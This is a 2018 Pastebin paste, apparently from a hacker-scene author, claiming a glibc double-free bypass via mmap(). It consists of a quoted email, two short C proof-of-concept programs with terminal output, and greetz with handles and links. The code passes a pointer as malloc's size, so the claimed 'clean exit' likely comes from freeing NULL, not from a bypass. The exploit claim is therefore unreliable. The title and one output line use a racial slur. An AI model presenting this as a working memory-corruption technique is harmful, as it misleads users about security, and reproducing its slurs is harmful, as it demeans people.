Guest User

free() my n1gg4z br0 ;PpPpP

a guest
Mar 25th, 2018
129
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.72 KB | None | 0 0
  1. Details from old email:
  2. =========================================
  3. "Double-Free bypass PoC is self-explanatory as well; 2 free's equate to a double-free heap corruption segfault; using mmap() disables that segfault and allows more than 1 free on any malloc'd/mmap'd variable. You can free `x` 4+ times and it'll still exit cleanly. brk() has already been patched; which is why i put // 1day next to it; same misalignment/technique to mmap() which is still vuln/can be abused to write use-after-free's without having the need to bypass heap corruption segfaults." brk() was equal to mmap() in PoC below; mmap() --> brk() --> free() --> free() --> clean exit; now just mmap() --> free() --> free()
  4.  
  5. PoC:
  6. =========================================
  7. joe@ubuntu:~$ cat test1.c
  8. #include <stdio.h>
  9. #include <stdlib.h>
  10. #include <string.h>
  11. #include <sys/mman.h>
  12.  
  13. int main(void){
  14. void *p = mmap(0x1000, 4096, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, 0, 0);
  15.  
  16. void *z = malloc(p);
  17. free(z);
  18. free(z);
  19. }
  20.  
  21. joe@ubuntu:~$ ./test1
  22. *** Error in `./test1': double free or corruption (top): 0x08332008 ***
  23. Aborted (core dumped)
  24.  
  25. joe@ubuntu:~$ cat test1.c
  26. #include <stdio.h>
  27. #include <stdlib.h>
  28. #include <string.h>
  29. #include <sys/mman.h>
  30.  
  31. int main(void){
  32. void *p = mmap(0x1000, 4096, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, 0, 0);
  33. p = mmap(0x2000, 4096, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, 0, 0);
  34.  
  35. void *z = malloc(p);
  36. free(z);
  37. free(z);
  38. }
  39.  
  40. joe@ubuntu:~$ ./test1
  41. joe@ubuntu:~$ bl1ng bl1ng n1gg4z ;PppPpP
  42.  
  43. References/Credits/Greetz:
  44. =========================================
  45. ac1db1tch3z koa
  46. https://github.com/x0r1
  47. http://steamcommunity.com/profiles/76561198333157214/
Add Comment
Please, Sign In to add comment